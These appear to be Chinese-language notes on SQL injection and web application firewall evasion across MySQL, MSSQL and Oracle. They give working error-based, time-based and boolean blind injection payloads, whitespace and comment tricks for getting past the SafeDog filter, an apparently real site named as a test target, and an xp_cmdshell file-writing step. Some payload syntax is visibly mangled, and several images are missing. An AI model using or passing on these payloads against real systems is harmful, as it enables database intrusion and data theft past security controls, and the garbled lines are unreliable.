常见数据库特性

mysql mssql oracle
单行注释 # —空格 —空格 —空格
多行注释 /*/ / /*/ / /**/
断句符 ; ; ;
特殊语法 /!10000select/

基本函数

mysql mssql oracle
连接符 + ||
拼接 concat() concat() concat_ws
替换函数 replace() insert() replace() replace() translate()
截取函数 left()、right()、mid()、substring()、substr() substring() 、left() substr() substrc()

空白字符


mysql mssql oracle
HEX字符 09 0a 0b 0c 0d 20 01 02 03 ….1c 1d 1e 1f 20 00 0a 0d 0b 0c 09 20
运算符的几种情况 mysql mssql oracle
and && and or and or ||
or ||

Mysql

位运算符|

image.png image.png

位运算符&
user_id=’1’&’0’ 假
user_id=’1’&’0’ 真

但是遇到当sql语句是这样写的时候,就不行了,因为之前就有了一个and
image.png
大于小于
id=’a’<’1’ 真
id=’a’<’1’ 假
id=’1’ and ‘a’<’as’ 真
id=’1’ and ‘a’<’a’ 假

http://www.boyizn.cn/about.php 某个有安全狗的站点
1、首先可以用以下代替空格
%20 空格
%a0 被dog秒
%09 制表符 被dog秒
%0a 换行 被dog秒
%0b 秒
%0c 秒
%0d 回车 秒
%a0 秒
/**/
()

因此,我们可以使用一下方法来bypass空格
可以进行fuzz
或者利用hex(1) hex(0)来绕过
—-ord也可 bin也可 ascii
或者利用-1’ and -1=-2

第四步:information_schema
(在mysql大于5.6版本的时候,可以使用innodb_index_stats 和 innodb_table_stats)许多版本为5.5.53
当遇到版本大于5.6的时候,看它
http://www.cl4y.top/information被ban的情况下进行sql注入/

3、报错注入 (/!///遇事不决用这个)
先把括号注释了,
然后再把user()的()用/
!///填充
1:id=1’ and updatexml(1,(concat(0x7e,(select user(/!///)))),1/!)/%23
2:id=1’ and extractvalue(1,(concat(0x7e,(select user(/
!///))))/!)/%23
3:1’ /!union/!////select// from(select name_const(/!11440version/(/!///),0x1/!)/,name_const(/!11440version/(/!///),0x1)/!)*/a%23

4、时间盲注
只需要将information_schema用`反引号扩起来<br />判断注入点<br />?id=1' and!!!if(-1<-2,1,sleep(1))%23<br />id=1' and ~~~if(hex(1)=hex(2),1,benchmark(3000000,sha(1)))%23<br />id=1' and -1>(SELECT count(*) FROMinformation_schema`.columns A)%23

5、布尔盲注
只需要再if前添加!!!或者~
id=1’ and
~if((substr((select hex(user//(/!/))),1,1)%3E01),sleep//(/!5/),1)—+

其他
科学技术法绕过
例如1e1union
select ~!@ 加数据
注释符加%0a 绕过
改变chart字符编码绕过

0、代替空格

%20 空格
%09 制表符
%0a 换行
%0b
%0c
%0d 回车
//
/我我我/
%23%0A
/!//
/*/

1、selectchar特性

例如+ - ! @ ~ “” ‘’ {``}
select+user
select~user
select!user
selet-user等,这些出来的都不大一样
https://xz.aliyun.com/t/7767

1、当order by 被waf了后,可以使用group by

或者select * from ins_user where user_id=1 into @a,@b,@c,@d;
image.png

1、\N特性和点数字

参数与union之间 用 \N 1.1 1E0 代替
image.png
或者例如(增加一个and 1.)
select * from ins_user where user_id=-1 and .1union all select 1,user(),3,4

参数和from之间也能用\N连接
select ,\Nfrom xinhu_admin where user=’admin’ /!11990AND*/1=1

  1. WHERE id= '2.0abc' 转为数字时变成2

image.png
单双引号’”、括号()、反单引号``、星号*、与语句之间可以没有空格

  1. SELECT*FROM(users)WHERE(id='3.0abc')union(select'3.0abc',2,user()from`users`);

2、利用规则通用性问题绕过

例如/!50001select/ 来说,这是一个select的命令,而对于SQL Server来说,这只不过是一个注释而已,而对于mysql数据来说,它可以执行select语句
image.png
因此我们可以尝试使用Mysql的方式来绕过sqlserver(WAF识别为Myql语句,发现语法错误,就不拦截,结果后端服务器处理为mssql,导致成功饶过)

同样#在mysql里是注释,而在mssql里#知识一个字符串
那么如下语句: 9999’ and 1=(select top 1 name as # from master..sysdatabases)— 会被当作为:
9999’ and 1=(select top 1 name as #注释xxxxxxxx
其实,这里的 # 只是一个字符,充当一个别名的角色而已。如果后端数据库是SQL Server,这样的语句是没问题的。

3、利用{} 或者反引号

select * from ins_user where user_id=-1 union select 1,group_concat(table_name),3,4 FROM{ x information_schema.tables} where table_schema=’test’

select * from ins_user where user_id=-1 union select 1,group_concat(table_name),3,4 FROM{ x information_schema.tables} where table_schema=’test’

4、连接

select .1user
select-.1user
select’-.1’user
select””user
select””.user

5、无逗号,适合盲注

mid(‘root’,2,1)====> substring(‘root’ from 2 for 1)
limit a,b ====> limit b offset a
if(1,sleep(1),1) ===>case when 1 then sleep(1) else 1 end

6、遇到控制台

控制台遇到\r \n 会出现错觉,\r 断开连接 \n在linux情况下被视为换行,不报错。

MSsql

xp_cmdshell 不断写入,然后启动,
echo xxxx >> c.ps1
image.png

Oracle

规避空格
image.png

1、oracle 一些特性

1、oracle可以使用||来进行连接
image.pngimage.png
2、代替空格 %00 %09 %0a %0b %0c %0d %20 /**/

  1. select user/*!saho*/from dual;USER/*!SAHO*/

image.png
3、函数可以加空格以
select userenv/**//(‘isdba’) from dual;